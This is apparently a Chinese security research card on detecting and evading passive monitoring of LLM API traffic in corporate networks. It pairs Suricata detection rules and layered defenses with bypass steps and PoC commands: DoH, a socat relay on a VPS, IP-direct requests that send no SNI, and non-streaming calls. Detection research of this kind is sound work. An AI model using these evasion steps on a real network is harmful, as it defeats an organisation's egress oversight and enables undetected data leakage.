绕过内网 LLM API 流量检测:DoH 与 IP 直连前置代理令 DNS/SNI 特征消失
defense/detection · verified
一句话结论
在不解密 HTTPS 的旁路检测里,LLM API 调用会在 DNS、TLS SNI、JA3 指纹和 SSE 流式行为四层留下痕迹;但员工端只要用 DoH 加密 DNS、再把请求发给自己的 VPS 并用 IP 直连代理(SNI 按 RFC 6066 不能填 IP,客户端根本不发 SNI),DNS 与 SNI 两道闸门同时失效,Suricata 回放四道规则得到零告警;此时只剩 SSE 行为统计可兜底,而关闭流式输出即可连这层也躲开。
原理
一次典型的 LLM API 调用(如 api.deepseek.com)在协议栈上留下四类特征:
| 层 | 特征 | 失效条件 |
|---|---|---|
| DNS | 明文查询 api.deepseek.com |
客户端启用 DoH/DoT |
| TLS SNI | ClientHello 中明文域名 | ECH 或前置代理(IP 直连时不发 SNI) |
| TLS JA3/JA4 | 客户端 TLS 栈指纹(浏览器 vs Python/curl/wget 不同) | 模拟浏览器指纹或更换 TLS 栈 |
| HTTP | 明文内网服务路径(如 Ollama /api/chat) |
任何 HTTPS |
| SSE 行为 | 下行小包、毫秒级均匀间隔、持续数秒的"打字机"形态 | 不存在,只能被噪声淹没;非流式调用没有此形态 |
静态特征(DNS/SNI)查得准但都能被拆;行为特征拆不掉但阈值运营成本高。绕过实验的关键机制是:SNI 扩展只能放域名,不能放 IP(RFC 6066)。攻击者把请求发给 VPS 的 IP 而不是域名时,客户端不会发送 SNI;如果 VPS 用纯 TCP 中转(socat)转发到真实 API,DNS 查询也在 VPS 侧发生或直接硬编码 IP,本地网段看不到任何 LLM 域名痕迹。此时检测方只剩目的 IP 情报、陌生 SNI 基线以及 SSE 行为统计。
触发条件
- 企业只做旁路流量检测(镜像/NDR),不解密 HTTPS、不装终端插件;
- 检测规则依赖 DNS 域名、TLS SNI、JA3 指纹或明文 HTTP 路径;
- 员工能在终端运行脚本或使用自定义客户端,并能访问外部 VPS/代理;
- 代理支持纯 TCP 转发(不终止 TLS),或攻击者能控制代理的连接方式;
- 若检测方还部署了 SSE 行为统计,攻击者需要关闭流式输出(
stream=False)或改变输出节奏。
利用步骤
- DoH 干掉 DNS 闸门:客户端启用 DoH(如
--doh-url https://doh.pub/dns-query),本地网段的明文 DNS 查询里不再出现api.deepseek.com,只剩对 DoH 服务器域名(如doh.pub)的查询。注意:SNI 仍是api.deepseek.com,单独用 DoH 只能绕过 DNS 规则。 - 自建 VPS + 纯 TCP 中转:在 VPS 上用 socat 监听 8443,转发到
api.deepseek.com:443;中转不终止 TLS,SNI 由客户端决定。 - 用 IP 直连代理:客户端请求
https://<VPS_IP>:8443。因为目标主机是 IP,TLS 客户端不会发送 SNI;同时本地不做 DNS 解析。回放检测规则:DNS 与 SNI 闸门均静默,实测四道闸门零告警。 - 补齐应用层 Host:TLS 隧道建立后,HTTP
Host头若仍是<VPS_IP>:8443,上游 CDN/WAF 可能返回 418/403;显式设置Host: api.deepseek.com后请求成功。攻击者每多藏一层,请求就要多伪装一处。 - 规避行为检测:若检测方用 SSE 包长/间隔统计兜底,使用非流式调用(
stream=False),响应只有少量包、持续时间短,统计上与普通 HTTPS 浏览无法区分;原文中非流式 DeepSeek 调用(8 个包、1.1 秒)被行为检测判为"普通"。 - 用同一 pcap 回放验证各闸门命中情况,确认绕过是否完整。
PoC
DoH 绕过 DNS(API 调用照常成功):
curl -s --doh-url https://doh.pub/dns-query https://api.deepseek.com/ -o /dev/null
VPS 上的纯 TCP 中转:
socat TCP-LISTEN:8443,fork,reuseaddr TCP:api.deepseek.com:443
客户端 IP 直连代理(不发 SNI;Host 头补成真实域名):
curl -k https://<VPS_IP>:8443/v1/chat/completions \
-H 'Host: api.deepseek.com' \
-H 'Content-Type: application/json' \
-d '{"model":"deepseek-chat","stream":false,"messages":[{"role":"user","content":"hi"}]}'
检测侧对照(Suricata 8.0.6 规则,回放实验 pcap):
GATE1 DNS : alert dns any any -> any any (msg:"LLM DNS"; dns.query; content:"api.deepseek.com"; nocase;)
GATE2 TLS : alert tls any any -> any any (msg:"LLM SNI"; tls.sni; content:"api.deepseek.com"; nocase;)
GATE3 HTTP : alert http any any -> any any (msg:"Ollama"; http.uri; content:"/api/chat"; startswith;)
GATE4 JA3 : alert tls any any -> any any (msg:"script-like"; ja3.hash; content:"<openai-httpx-ja3>";)
实测结果:
| 场景 | GATE1 DNS | GATE2 SNI | GATE4 JA3 | GATE3 HTTP | 告警数 |
|---|---|---|---|---|---|
| 正常直连 DeepSeek | 命中 | 命中 | 命中(同一连接) | — | 3 类 |
| DoH | 静默 | 命中 | 命中 | — | 1 |
| IP 直连 VPS 代理 | 静默 | 静默 | 可能命中(取决于客户端 TLS 栈) | — | 0 |
| 域名连 VPS 代理(hosts) | 静默 | 命中(8443 也命中) | 命中 | — | 1 |
误报对照:12 个主流站点 + 一次 pip 安装,2043 个包、34 条 DNS、14 条 TLS,规则告警 0。SSE 行为统计对照:DeepSeek 流式 231 包/均值 430B/间隔 15ms/3.3s 判为 LLM-SSE;Ollama 流式 401 包/139B/26ms/10.6s 判为 LLM-SSE;3MB 文件下载 2170 包/1387B/1ms/1.7s 判为下载;非流式 DeepSeek 8 包/820B/163ms/1.1s 判为普通。
说明:实验在隔离 VMware 网段完成,所有流量为自建;ECH 因客户端与服务端均未启用而未实测。
变体与关联
- 域名连代理:本地 hosts 把
api.deepseek.com指到代理 IP,SNI 仍为真实域名,SNI 闸门照常命中;非标端口 8443 也拦不住按内容识别协议的 Suricata。 - 陌生 SNI:用 VPS 自己的域名连代理可避开针对已知 LLM 域名的规则,但会留下"新面孔域名"的 TLS 握手,对基线化企业网是可运营的告警点。
- ECH:理论上加密 SNI,彻底废掉 SNI 闸门;原文因环境不支持未实测,属于"未爆弹"。
- 行为层对抗:非流式、分块延迟、填充包、复用普通 HTTPS 长连接都可能改变 SSE 统计形态;行为检测的归因弱、阈值漂移,只能做兜底。
- 关联:域前置(现代公有云多已强制 SNI/Host 一致,基本失效)、DNS over HTTPS 审计、JA3/JA4 指纹、Shadow AI 数据外带、DLP 加密流量盲区。
检测与防御
- 分层建设,不押注单点:L1 资产盘点(LLM API 域名清单进 DNS/SNI 监控);L2 静态规则(DNS/SNI/JA3/明文 HTTP);L3 出口收敛(统一 LLM 网关,防火墙只放行网关到 LLM API,直连本身成为高价值告警);L4 SSE 行为兜底(流级统计:下行包长均值/方差、包间隔均值、会话时长、上下行字节比),并持续校准阈值。
- 规则工程:Suricata 按内容识别协议,端口写
any;startswith必须放在content之后,否则规则加载失败只留一行日志、检测面悄悄缺失;上线前核对规则加载清单;子串匹配api.deepseek.com会连坐 CNAME 链,也会带来理论上的撞库风险,需配合域名边界与白名单。 - 监控 DoH:终端直连公共 DoH 服务器本身就是异常行为;可在 DNS 出口强制内部解析器、封禁已知公共 DoH 端点。
- 监控代理基础设施:目的 IP 情报(IDC/代理标签)、陌生 SNI 基线、TLS 指纹白名单(脚本型客户端是少数派)、SSE 与非流式调用的比例。
- 认识到盲区:不解密 HTTPS 时,IP 直连代理 + 非流式调用可以同时躲开 DNS、SNI 和行为三层;终端侧 EDR/代理、出口白名单与统一网关才是治本手段。
- 局限:原文规则针对 DeepSeek 与 Ollama,JA3 哈希随客户端库版本变化;SSE 阈值来自小样本(每类 1–2 条流),跨网络抖动与模型后端需要重新校准;ECH 未实测。
备注
- 原始实验为授权隔离环境(192.168.3.0/24),未涉及第三方目标;本卡只保留机制与最小命令,不含任何密钥。
- confidence 定为 medium:机制与回放结果明确,但样本为单一实验环境、Suricata 8.0.6、少量 pcap,跨环境泛化未验证。
- affected_versions 未填写:不针对具体产品版本。